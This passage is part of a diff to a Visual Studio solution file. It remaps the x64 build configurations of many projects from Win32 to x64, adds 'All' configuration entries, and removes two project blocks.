 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|Win32.Build.0 = Debug|Win32
-		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.ActiveCfg = Debug|Win32
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.ActiveCfg = Debug|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.Build.0 = Debug|x64
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|Win32.ActiveCfg = Release|Win32
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|Win32.Build.0 = Release|Win32
-		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.ActiveCfg = Release|Win32
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.ActiveCfg = Release|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.Build.0 = Release|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|Win32.ActiveCfg = Release DLL|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|x64.ActiveCfg = Release DLL|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|x64.Build.0 = Release DLL|x64
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|Win32.Build.0 = Debug|Win32
-		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|x64.ActiveCfg = Debug|Win32
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|x64.ActiveCfg = Debug|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|x64.Build.0 = Debug|x64
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|Win32.ActiveCfg = Release|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|Win32.Build.0 = Release|Win32
-		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.ActiveCfg = Release|Win32
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.ActiveCfg = Release|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.Build.0 = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|Win32.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|x64.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|x64.Build.0 = Release|x64
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.Build.0 = Debug|Win32
-		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|x64.ActiveCfg = Debug|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|x64.ActiveCfg = Debug|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|x64.Build.0 = Debug|x64
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.ActiveCfg = Release|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.Build.0 = Release|Win32
-		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.Build.0 = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|x64.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.Build.0 = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|x64.ActiveCfg = Release|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.Build.0 = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|Win32.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|x64.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|x64.Build.0 = Release|x64
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.Build.0 = Debug|Win32
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.ActiveCfg = Debug|Win32
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.ActiveCfg = Debug|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.Build.0 = Debug|x64
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|Win32.ActiveCfg = Release|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|Win32.Build.0 = Release|Win32
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.ActiveCfg = Release|Win32
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.Build.0 = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|Win32.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|x64.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|x64.Build.0 = Release|x64
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|Win32.Build.0 = Debug|Win32
-		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|x64.ActiveCfg = Debug|Win32
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|x64.ActiveCfg = Debug|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|x64.Build.0 = Debug|x64
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.ActiveCfg = Release|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.Build.0 = Release|Win32
-		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.Build.0 = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|x64.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.Build.0 = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|x64.ActiveCfg = Release|Win32
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.Build.0 = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|Win32.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|x64.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|x64.Build.0 = Release|x64
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.Build.0 = Debug|Win32
-		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.ActiveCfg = Debug|Win32
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.ActiveCfg = Debug|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.Build.0 = Debug|x64
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|Win32.ActiveCfg = Release|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|Win32.Build.0 = Release|Win32
-		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.ActiveCfg = Release|Win32
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.Build.0 = Release|x64
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|Win32.ActiveCfg = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|Win32.Build.0 = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|x64.ActiveCfg = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|Win32.Build.0 = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|x64.ActiveCfg = Debug|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|x64.Build.0 = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|Win32.ActiveCfg = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|Win32.Build.0 = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|x64.ActiveCfg = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|x64.Build.0 = Release|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|Win32.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|x64.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|x64.Build.0 = Release|x64
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|Win32.Build.0 = Debug|Win32
-		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|x64.ActiveCfg = Debug|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|x64.ActiveCfg = Debug|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|x64.Build.0 = Debug|x64
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|Win32.ActiveCfg = Release|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|Win32.Build.0 = Release|Win32
-		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.ActiveCfg = Release|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.Build.0 = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|Win32.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|x64.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|x64.Build.0 = Release|x64
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|Win32.ActiveCfg = Debug|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|Win32.Build.0 = Debug|Win32
-		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|x64.ActiveCfg = Debug|Win32
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|x64.ActiveCfg = Debug|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|x64.Build.0 = Debug|x64
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|Win32.ActiveCfg = Release|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|Win32.Build.0 = Release|Win32
-		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.ActiveCfg = Release|Win32
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.Build.0 = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|Win32.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|x64.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|x64.Build.0 = Release|x64
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|Win32.Build.0 = Debug|Win32
-		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|x64.ActiveCfg = Debug|Win32
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|x64.ActiveCfg = Debug|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|x64.Build.0 = Debug|x64
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|Win32.ActiveCfg = Release|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|Win32.Build.0 = Release|Win32
-		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.ActiveCfg = Release|Win32
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.Build.0 = Release|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|Win32.ActiveCfg = Debug|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|x64.ActiveCfg = Debug|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|x64.Build.0 = Debug|x64
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|Win32.ActiveCfg = Debug|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|Win32.Build.0 = Debug|Win32
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|x64.ActiveCfg = Debug|Win32
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|x64.ActiveCfg = Debug|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|x64.Build.0 = Debug|x64
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|Win32.ActiveCfg = Release|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|Win32.Build.0 = Release|Win32
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.ActiveCfg = Release|Win32
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.ActiveCfg = Release|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.Build.0 = Release|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|Win32.ActiveCfg = Debug|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|x64.ActiveCfg = Debug|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|x64.Build.0 = Debug|x64
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|Win32.Build.0 = Debug|Win32
-		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|x64.ActiveCfg = Debug|Win32
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|x64.ActiveCfg = Debug|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|x64.Build.0 = Debug|x64
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|Win32.ActiveCfg = Release|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|Win32.Build.0 = Release|Win32
-		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.ActiveCfg = Release|Win32
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.ActiveCfg = Release|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.Build.0 = Release|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|Win32.ActiveCfg = Debug|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|x64.ActiveCfg = Debug|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|x64.Build.0 = Debug|x64
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|Win32.ActiveCfg = Debug|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|Win32.Build.0 = Debug|Win32
-		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|x64.ActiveCfg = Debug|Win32
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|x64.ActiveCfg = Debug|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|x64.Build.0 = Debug|x64
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|Win32.ActiveCfg = Release|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|Win32.Build.0 = Release|Win32
-		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.ActiveCfg = Release|Win32
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.ActiveCfg = Release|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.Build.0 = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|Win32.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|x64.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|x64.Build.0 = Release|x64
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|Win32.Build.0 = Debug|Win32
-		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|x64.ActiveCfg = Debug|Win32
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|x64.ActiveCfg = Debug|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|x64.Build.0 = Debug|x64
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|Win32.ActiveCfg = Release|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|Win32.Build.0 = Release|Win32
-		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.ActiveCfg = Release|Win32
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.Build.0 = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|Win32.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|x64.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|x64.Build.0 = Release|x64
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|Win32.ActiveCfg = Debug|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|Win32.Build.0 = Debug|Win32
-		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|x64.ActiveCfg = Debug|Win32
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|x64.ActiveCfg = Debug|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|x64.Build.0 = Debug|x64
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|Win32.ActiveCfg = Release|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|Win32.Build.0 = Release|Win32
-		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.ActiveCfg = Release|Win32
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.Build.0 = Release|x64
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|Win32.ActiveCfg = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|Win32.Build.0 = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|x64.ActiveCfg = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|Win32.Build.0 = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|x64.ActiveCfg = Debug|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|x64.Build.0 = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|Win32.ActiveCfg = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|Win32.Build.0 = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|x64.ActiveCfg = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|x64.Build.0 = Release|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|Win32.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|x64.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|x64.Build.0 = Release DLL|x64
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|Win32.ActiveCfg = Debug DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|Win32.Build.0 = Debug DLL|Win32
-		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|x64.ActiveCfg = Debug DLL|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|x64.ActiveCfg = Debug DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|x64.Build.0 = Debug DLL|x64
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|Win32.ActiveCfg = Release DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|Win32.Build.0 = Release DLL|Win32
-		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.ActiveCfg = Release|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.Build.0 = Release DLL|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|x64.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|x64.Build.0 = Release Passthrough|x64
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.ActiveCfg = Debug|Win32
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.ActiveCfg = Debug Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.Build.0 = Debug Passthrough|x64
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.ActiveCfg = Release|Win32
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.Build.0 = Release Passthrough|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|Win32.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|x64.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|x64.Build.0 = Release|x64
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|Win32.ActiveCfg = Debug|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|Win32.Build.0 = Debug|Win32
-		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|x64.ActiveCfg = Debug|Win32
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|x64.ActiveCfg = Debug|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|x64.Build.0 = Debug|x64
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|Win32.ActiveCfg = Release|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|Win32.Build.0 = Release|Win32
-		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.ActiveCfg = Release|Win32
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.Build.0 = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|Win32.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|x64.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|x64.Build.0 = Release|x64
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|Win32.Build.0 = Debug|Win32
-		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|x64.ActiveCfg = Debug|Win32
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|x64.ActiveCfg = Debug|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|x64.Build.0 = Debug|x64
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|Win32.ActiveCfg = Release|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|Win32.Build.0 = Release|Win32
-		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.ActiveCfg = Release|Win32
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.Build.0 = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|Win32.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|x64.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|x64.Build.0 = Release|x64
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|Win32.Build.0 = Debug|Win32
-		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|x64.ActiveCfg = Debug|Win32
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|x64.ActiveCfg = Debug|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|x64.Build.0 = Debug|x64
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|Win32.ActiveCfg = Release|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|Win32.Build.0 = Release|Win32
-		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.ActiveCfg = Release|Win32
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.Build.0 = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|Win32.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|x64.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|x64.Build.0 = Release|x64
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|Win32.ActiveCfg = Debug|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|Win32.Build.0 = Debug|Win32
